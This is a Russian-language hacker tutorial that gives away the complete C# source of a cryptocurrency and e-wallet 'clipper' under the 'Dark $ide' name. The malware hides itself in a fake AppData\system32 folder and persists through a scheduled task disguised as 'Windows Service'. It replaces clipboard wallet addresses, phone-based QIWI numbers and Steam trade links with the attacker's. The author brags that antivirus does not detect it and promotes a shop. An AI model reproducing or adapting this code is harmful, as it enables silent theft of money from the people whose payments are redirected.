April 21, 2019

Пишем Exodus Clipper C# {BlackCoding}

https://tele.click/darkside_team

Сливаю вам свой клиппер, хотел продавать, но для успешного проекта нужно развитие, а я к сожалению (или к счастью) потерял интерес к проекту и сливаю его вам

Клиппер - программа, которая выполняет функцию подмены кошельков в буфере обмена. Во время оплаты, клиппер подменяет скопированные юзером адреса электронных кошельков и подменяет их на ваши.

Для начала создаём консольный проект версия Framework - 2.0:

Объявим необходимые юзинги:

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Threading;
using System.Windows.Forms; 

Добавляем ссылку: System.Windows.Forms

Теперь объявляем 2 переменные: dir, file. Они будут отвечать за имя нашего файла и директорию дропа:

static string dir = Environment.GetEnvironmentVariable("AppData") + "\\system32"; // Путь к папке где будет храниться клиппер
static string file = "host.exe"; // Имя файла 

Создадим новый void с именем start, который отвечает за запуск нашего клиппера и задержку перед подменой:

static void start()
       {
           while (true) // Выполнять всегда
           {
               Thread.Sleep(150); // В милисекундах, 1,5 сек
               replace(); // Отвечает за подмену, создадим дальше
           }
       }

Опять создаём новый void - CopyFile, который отвечает за дроп нашего клиппера в папку:

static void CopyFile() 
       {
           try
           {
               if (!Directory.Exists(dir)) // Проверка на наличие папки
                   Directory.CreateDirectory(dir); // Если не существует, то создаем

               if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла клиппера в папке
                   File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся

               File.SetAttributes(dir + "\\" + file, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
               File.SetAttributes(dir + "\\" + file, FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
           }
           catch { }
       }

Теперь создаём void который будет отвечать за автозапуск нашего клиппера, хотел сделать через обычный регистр винды, но думаю уже каждый второй знает как такой автозапуск оффнуть, поэтому делаем через планироващик задач, работает так:

Процесс проверяется каждую минуту, если процесс запущен ничего не происходит, если не запущен запускает, довольно годная и опасная штука
       static void autorun() 
       {
           try
           {
               var startInfo = new ProcessStartInfo(); // Создаем процесс
               startInfo.FileName = "schtasks.exe"; // Выбираем планировщик задач
               startInfo.CreateNoWindow = false; // Скрываем от пользователя
               startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Скрываем от пользователя
               startInfo.Arguments = @"/create /sc MINUTE /mo 1 /tn ""Windows Service"" /tr """ + dir + "\\" + file + @""" /f"; // Аргументы для запуска
               Process.Start(startInfo); // Запускаем
           }
           catch { }
       }

Теперь мы должны создать переменные в которых будут содержатся наши кошельки:

       static string qiwi = "[QIWI]";
       static string ymoney = "[YMONEY]";
       static string steam = "[steam trade-link]";
       static string ydisk = "[YDISK]";
       static string donat = "[DALERTS]";
       static string qiwime = "[QIWI.ME]";
       static string payeer = "[PAYEER]";
       static string wmr = "[WMR]";
       static string wmz = "[WMZ]";
       static string wmx = "[WMX]";
       static string wmu = "[WMU]";

       // Crypto
       static string bitcon = "[BTC]";
       static string ripple = "[RIPPLE]";
       static string etherium = "[ETH]";
       static string monero = "[XMR]";
       static string lcoin = "[LiteCoin]";

Теперь самая важная функция - подмена. Создаём void - replace. Также создаём переменную buffer, которая содержит содержимое буфера. Дальше проверяем наличие текста в буфере обмена:

static void replace() 
       {
           string buffer = Clipboard.GetText(); // переменная

           if (buffer == null || buffer == "") // Если буфер ничему не равен
               return; 

Начнём подмену, для начала это будут WebMoney кошельки, делаем проверку: если количество символов в буфере равно 13, проверяем первые символы:

if (buffer.Length == 13) // если кол-во символов 13
                   if (buffer[0].ToString() == "R") // Если первый символ R - WMR, и так с остальными
                       Clipboard.SetText(wmr); // Подмена
                   else if (buffer[0].ToString() == "Z") // Иначе если...
                       Clipboard.SetText(wmz); // Подмена
                   else if (buffer[0].ToString() == "X") // Иначе если...
                       Clipboard.SetText(wmx); // Подмена
                   else if (buffer[0].ToString() == "U") // Иначе если...
                       Clipboard.SetText(wmu); // Подмена

Переходим к подмене QIWI кошельков, сделал проверку такой: если текст в буфере больше или равен (>=) 11 символам и меньше или равен 15, дополнительные проверки:

if (buffer.Length >= 11 && buffer.Length <= 15) // главная проверка
               if (buffer.StartsWith("+7") || buffer.StartsWith("7")) // Если текст начинается с +7 или 7
                   Clipboard.SetText(qiwi); // Подмена
               else if (buffer.StartsWith("+380") || buffer.StartsWith("380")) // Иначе если текст начинается с +380 или 380
                   Clipboard.SetText(qiwi);
               else if (buffer.StartsWith("+89") || buffer.StartsWith("89"))
                   Clipboard.SetText(qiwi);
               else if (buffer.StartsWith("+79") || buffer.StartsWith("79"))
                   Clipboard.SetText(qiwi);
               else if (buffer.StartsWith("+375") || buffer.StartsWith("375"))
                   Clipboard.SetText(qiwi);

Проверка яндекс кошелька довольна проста: если в буфере ровно 15 символов и начинается с 41 происходит подмена:

           if (buffer.Length == 15) // главная проверка
               if (buffer.StartsWith("41")) // Если начинается с 41
                   Clipboard.SetText(ymoney); // подмена

Подмена ссылок работает так: Если текст в буфере начинается с https:// то проходим дополнительные проверки: если содержит в себе эту часть - steamcommunity.com/tradeoffer/new/ происходит подмена, дальше идёт опять иначе если:

if (buffer.StartsWith("https://")) // главная проверка
                        if (buffer.Contains("steamcommunity.com/tradeoffer/new/")) // если содержит в себе часть трейд-ссылки стима
                           {
                              Clipboard.SetText(steam); // Подмена
                           }

                        else if (buffer.Contains("qiwi.me/"))
                           {
                              Clipboard.SetText(qiwime); 
                           }

                        else if (buffer.Contains("donationalerts.com/r/"))
                           {
                              Clipboard.SetText(donat); 
                           }
                        else if (buffer.Contains("yadi.sk/d/"))
                           {
                              Clipboard.SetText(ydisk); 
                           }

Подмена Payeer. Если буфер равен 9 символам и начинается с P или с p, происходит подмена:

           if (buffer.Length == 9 && buffer.StartsWith("P") || buffer.StartsWith("p")) // Проверка
           {
               Clipboard.SetText(payeer); // подмена
           }

Сейчас делаем подмену криптовалютных кошельков:

 if (buffer.Length == 34)
           {
               if (buffer.StartsWith("L") || buffer.StartsWith("3")) // Главная проверка
               { Clipboard.SetText(lcoin); } // LiteCoin                 
           }

           if (buffer.Length >= 24 && buffer.Length <= 34 && buffer.StartsWith("1"))
           {
               Clipboard.SetText(bitcoin);
           }

           if (buffer.Length >= 40 && buffer.StartsWith("0x"))
           {
               Clipboard.SetText(etherium);
           }

           if (buffer.Length >= 25 && buffer.Length <= 35 && buffer.StartsWith("r"))
           {
               Clipboard.SetText(ripple);
           }

           if (buffer.Length >= 95 && buffer.Length <= 106 && buffer.StartsWith("4"))
           {
               Clipboard.SetText(monero);
           }

Всё, с подменами разобрались, теперь нам нужно оформить Main, перед самим void'om добавляем следующие:

[STAThread]

Теперь добавляем все функции, сначала наш клиппер выполнит функции дропа в папку (CopyFile), затем организует автозапуск, и запустится:

[STAThread]
       static void Main(string[] args)
       {
           CopyFile();
           autorun();

           start();
       }

Файл невиден для пользователя:

Вес файла всего 8кб !

Детекты клиппера:

Full FUD!

И браво, его не видят антивирусы, т.к проект был написан с нуля. Всего 213 строк кода, и у тебя в кармане FUD клиппер. с неплохим функционалом)

Dark $ide - Твоя Тёмная Сторона

Наш чат - Dark Chat | D$

Наш магазин - Dark $tore

Весь код:

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Threading;
using System.Windows.Forms;


namespace Clipper
{
   class Program
   {
       static string dir = Environment.GetEnvironmentVariable("AppData") + "\\system32"; // Путь к папке где будет храниться клиппер
       static string file = "host.exe"; // Имя файла 


       [STAThread]
       static void Main(string[] args)
       {
           CopyFile();
           autorun();

           start();

       }

       static void start()
       {
           while (true)
           {
               Thread.Sleep(150); // В милисекундах, 1,5 сек
               replace();
           }
       }




       static void CopyFile()
       {
           try
           {
               if (!Directory.Exists(dir)) // Проверка на наличие папки
                   Directory.CreateDirectory(dir); // Если не существует, то создаем

               if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла клиппера в папке
                   File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся

               File.SetAttributes(dir + "\\" + file, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
               File.SetAttributes(dir + "\\" + file, FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
           }
           catch { }
       }


       static void autorun()
       {
           try
           {
               var startInfo = new ProcessStartInfo(); // Создаем процесс
               startInfo.FileName = "schtasks.exe"; // Выбираем планировщик задач
               startInfo.CreateNoWindow = false; // Скрываем от пользователя
               startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Скрываем от пользователя
               startInfo.Arguments = @"/create /sc MINUTE /mo 1 /tn ""Windows Service"" /tr """ + dir + "\\" + file + @""" /f"; // Аргументы для запуска
               Process.Start(startInfo); // Запускаем
           }
           catch { }
       }







       // Переменные //


       static string qiwi = "[QIWI]";
       static string ymoney = "[YMONEY]";
       static string steam = "[steam trade-link]";
       static string ydisk = "[YDISK]";
       static string donat = "[DALERTS]";
       static string qiwime = "[QIWI.ME]";
       static string payeer = "[PAYEER]";
       static string wmr = "[WMR]";
       static string wmz = "[WMZ]";
       static string wmx = "[WMX]";
       static string wmu = "[WMU]";

       // Crypto
       static string bitcoin = "[BTC]";
       static string ripple = "[RIPPLE]";
       static string etherium = "[ETH]";
       static string monero = "[XMR]";
       static string lcoin = "[LiteCoin]";







       static void replace()
       {
           string buffer = Clipboard.GetText();

           if (buffer == null || buffer == "")
               return;


           // WebMoney //
           if (buffer.Length == 13)
               if (buffer[0].ToString() == "R")
                   Clipboard.SetText(wmr);
               else if (buffer[0].ToString() == "Z")
                   Clipboard.SetText(wmz);
               else if (buffer[0].ToString() == "X")
                   Clipboard.SetText(wmx);
               else if (buffer[0].ToString() == "U")
                   Clipboard.SetText(wmu);
           // WebMoney //

           // QIWI //
           if (buffer.Length >= 11 && buffer.Length <= 15)
               if (buffer.StartsWith("+7") || buffer.StartsWith("7"))
                   Clipboard.SetText(qiwi);
               else if (buffer.StartsWith("+380") || buffer.StartsWith("380"))
                   Clipboard.SetText(qiwi);
               else if (buffer.StartsWith("+89") || buffer.StartsWith("89"))
                   Clipboard.SetText(qiwi);
               else if (buffer.StartsWith("+79") || buffer.StartsWith("79"))
                   Clipboard.SetText(qiwi);
               else if (buffer.StartsWith("+375") || buffer.StartsWith("375"))
                   Clipboard.SetText(qiwi);
           // QIWI //


           // YandexMoney //
           if (buffer.Length == 15)
               if (buffer.StartsWith("41"))
                   Clipboard.SetText(ymoney);
           // YandexMoney //

           // Ссылки //

           if (buffer.StartsWith("https://"))
               if (buffer.Contains("steamcommunity.com/tradeoffer/new/"))
               {
                   Clipboard.SetText(steam); // steam
               }

               else if (buffer.Contains("qiwi.me/"))
               {
                   Clipboard.SetText(qiwime); // qiwime
               }

               else if (buffer.Contains("donationalerts.com/r/"))
               {
                   Clipboard.SetText(donat); // DonationAlerts
               }
               else if (buffer.Contains("yadi.sk/d/"))
               {
                   Clipboard.SetText(ydisk); // YD
               }

           // Payeer //

           if (buffer.Length == 9 && buffer.StartsWith("P") || buffer.StartsWith("p"))
           {
               Clipboard.SetText(payeer);
           }

           // Payeer //

           // All crypto //
           if (buffer.Length == 34)
           {
               if (buffer.StartsWith("L") || buffer.StartsWith("3"))
               { Clipboard.SetText(lcoin); } // LiteCoin                 
           }

           if (buffer.Length >= 24 && buffer.Length <= 34 && buffer.StartsWith("1"))
           {
               Clipboard.SetText(bitcoin);
           }

           if (buffer.Length >= 40 && buffer.StartsWith("0x"))
           {
               Clipboard.SetText(etherium);
           }

           if (buffer.Length >= 25 && buffer.Length <= 35 && buffer.StartsWith("r"))
           {
               Clipboard.SetText(ripple);
           }

           if (buffer.Length >= 95 && buffer.Length <= 106 && buffer.StartsWith("4"))
           {
               Clipboard.SetText(monero);
           }
           // All crypto //

       } // END rplace






   }
}